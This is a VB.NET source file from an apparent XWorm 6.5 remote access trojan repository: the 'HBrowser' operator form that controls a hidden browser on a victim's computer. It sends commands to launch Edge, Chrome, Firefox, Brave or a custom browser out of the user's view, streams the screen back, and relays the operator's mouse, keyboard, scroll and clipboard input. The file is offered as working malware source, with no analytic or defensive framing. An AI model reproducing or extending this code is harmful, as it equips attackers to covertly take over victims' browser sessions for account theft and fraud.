Files
XWorm-6.5-Source/XWorm/Forms/HBrowser.vb
T
2026-08-27 11:22:34 -06:00

201 lines
11 KiB
VB.net

Imports System.Text
Imports System.Threading
Public Class HBrowser
Public C As Client
Public FPS As Integer = 0
Public sw As Stopwatch = Stopwatch.StartNew()
Public rdSize As New Size()
Private Sub HBrowser_Load(sender As Object, e As EventArgs) Handles MyBase.Load
AddHandler MyBase.MouseWheel, AddressOf MyMouseWheel
Guna2ComboBox1.SelectedIndex = 3
Guna2GradientButton1.PerformClick()
End Sub
Private Sub MyMouseWheel(sender As Object, e As MouseEventArgs)
If Guna2GradientButton1.Text = "Capturing..." Then
Dim flag2 As Boolean = e.Delta < 0
If flag2 Then
Dim B As Byte() = SB("ScrollDown")
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
Else
Dim B As Byte() = SB("ScrollUp")
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End If
End If
End Sub
Private Sub CustomOpenToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles CustomOpenToolStripMenuItem1.Click
Using form As CustomOpen = New CustomOpen
form.Guna2TextBox1.PlaceholderText = "Browser Filename"
form.Guna2TextBox2.PlaceholderText = "Title"
form.StartPosition = FormStartPosition.CenterParent
If form.ShowDialog() = DialogResult.OK Then
Dim B As Byte() = SB("OpenBrowser" & SettingsHelper.SPL & "CustomOpen" & SettingsHelper.SPL & form.Guna2TextBox1.Text & SettingsHelper.SPL & form.Guna2TextBox2.Text & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End If
End Using
End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
Try
If Not C.IsConnected Then
Close()
End If
Catch ex As Exception
Debug.WriteLine(ex.Message)
End Try
End Sub
Private Sub GetScreenToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles GetScreenToolStripMenuItem.Click
If ListView1.SelectedItems.Count > 0 Then
Dim B As Byte() = SB("GetHWND" & SettingsHelper.SPL & ListView1.Items(0).SubItems(0).Text & SettingsHelper.SPL & ListView1.Items(0).ImageKey.ToString & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End If
End Sub
Private Sub CloseToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CloseToolStripMenuItem.Click
If ListView1.SelectedItems.Count > 0 Then
For Each LV As ListViewItem In ListView1.SelectedItems
Dim B As Byte() = SB("Close" & SettingsHelper.SPL & LV.SubItems(0).Text & SettingsHelper.SPL & LV.ImageKey.ToString & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
Next
End If
End Sub
Private Sub RefreshToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles RefreshToolStripMenuItem.Click
Dim B As Byte() = SB("UpdateWindowsActive")
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End Sub
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
If Guna2GradientButton1.Text = "OFF" Then
Guna2GradientButton1.Text = "Capturing..."
Dim B As Byte() = SB("HBrowser+" & SettingsHelper.SPL & Guna2ComboBox1.Text.Replace("%", "").ToString)
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
Else
Guna2GradientButton1.Text = "OFF"
End If
End Sub
Private Sub MicrosoftEdgeToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles MicrosoftEdgeToolStripMenuItem.Click
Dim B As Byte() = SB("OpenBrowser" & SettingsHelper.SPL & "edge" & SettingsHelper.SPL & "" & SettingsHelper.SPL & "" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End Sub
Private Sub ChromeToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ChromeToolStripMenuItem.Click
Dim B As Byte() = SB("OpenBrowser" & SettingsHelper.SPL & "chrome" & SettingsHelper.SPL & "" & SettingsHelper.SPL & "" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End Sub
Private Sub FireFoxToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles FireFoxToolStripMenuItem.Click
Dim B As Byte() = SB("OpenBrowser" & SettingsHelper.SPL & "firefox" & SettingsHelper.SPL & "" & SettingsHelper.SPL & "" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End Sub
Private Sub BraveToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles BraveToolStripMenuItem.Click
Dim B As Byte() = SB("OpenBrowser" & SettingsHelper.SPL & "brave" & SettingsHelper.SPL & "" & SettingsHelper.SPL & "" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End Sub
Private Sub HBrowser_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
Dim B As Byte() = SB("CloseHBrowser" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End Sub
Private Sub HBrowser_ResizeEnd(sender As Object, e As EventArgs) Handles Me.ResizeEnd
If Guna2ToggleSwitch2.Checked Then
Dim B As Byte() = SB("Resize" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End If
End Sub
Private Sub Guna2ToggleSwitch2_MouseClick(sender As Object, e As MouseEventArgs) Handles Guna2ToggleSwitch2.MouseClick
If Guna2ToggleSwitch2.Checked Then
Dim B As Byte() = SB("Resize" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End If
End Sub
Private Sub PictureBox1_KeyPress(sender As Object, e As KeyPressEventArgs) Handles PictureBox1.KeyPress
If Guna2GradientButton1.Text = "Capturing..." Then
Dim B As Byte() = SB("keyboardClick" & SettingsHelper.SPL & Convert.ToBase64String(Encoding.UTF8.GetBytes(e.KeyChar.ToString())))
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End If
End Sub
Private Sub PictureBox1_MouseEnter(sender As Object, e As EventArgs) Handles PictureBox1.MouseEnter
If Guna2GradientButton1.Text = "Capturing..." Then
PictureBox1.Focus()
End If
End Sub
Private Sub PictureBox1_MouseDown(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseDown
If Guna2GradientButton1.Text = "Capturing..." AndAlso PictureBox1.Image IsNot Nothing AndAlso PictureBox1.ContainsFocus Then
Dim point As Point = New Point(e.X * rdSize.Width / PictureBox1.Width, e.Y * rdSize.Height / PictureBox1.Height)
If e.Button = MouseButtons.Left Then
Dim B As Byte() = SB("LeftDown" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString())
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End If
If e.Button = MouseButtons.Right Then
Dim B As Byte() = SB("RightDown" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString())
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End If
End If
End Sub
Private Sub PictureBox1_MouseMove(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseMove
If Guna2GradientButton1.Text = "Capturing..." AndAlso PictureBox1.Image IsNot Nothing AndAlso PictureBox1.ContainsFocus Then
Dim point As Point = New Point(e.X * rdSize.Width / PictureBox1.Width, e.Y * rdSize.Height / PictureBox1.Height)
Dim B As Byte() = SB("MoveCursor" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString())
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend),B)
End If
End Sub
Private Sub PictureBox1_MouseUp(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseUp
If Guna2GradientButton1.Text = "Capturing..." AndAlso PictureBox1.Image IsNot Nothing AndAlso PictureBox1.ContainsFocus Then
Dim point As Point = New Point(e.X * rdSize.Width / PictureBox1.Width, e.Y * rdSize.Height / PictureBox1.Height)
If e.Button = MouseButtons.Left Then
Dim B As Byte() = SB("LeftUp" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString())
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End If
If e.Button = MouseButtons.Right Then
Dim B As Byte() = SB("RightUp" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString())
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End If
End If
End Sub
Private Sub Guna2GradientButton5_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton5.Click
If Guna2GradientButton1.Text = "Capturing..." Then
Dim B As Byte() = SB("paste" & SettingsHelper.SPL & Convert.ToBase64String(Encoding.UTF8.GetBytes(Windows.Forms.Clipboard.GetText)))
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End If
End Sub
Private Sub ListView1_KeyDown(sender As Object, e As KeyEventArgs) Handles ListView1.KeyDown
Try
If e.Modifiers = Keys.Control AndAlso e.KeyCode = Keys.A Then
If ListView1.Items.Count > 0 Then
For Each x As ListViewItem In ListView1.Items
x.Selected = True
Next
End If
End If
Catch ex As Exception
Debug.WriteLine(ex.Message)
End Try
End Sub
End Class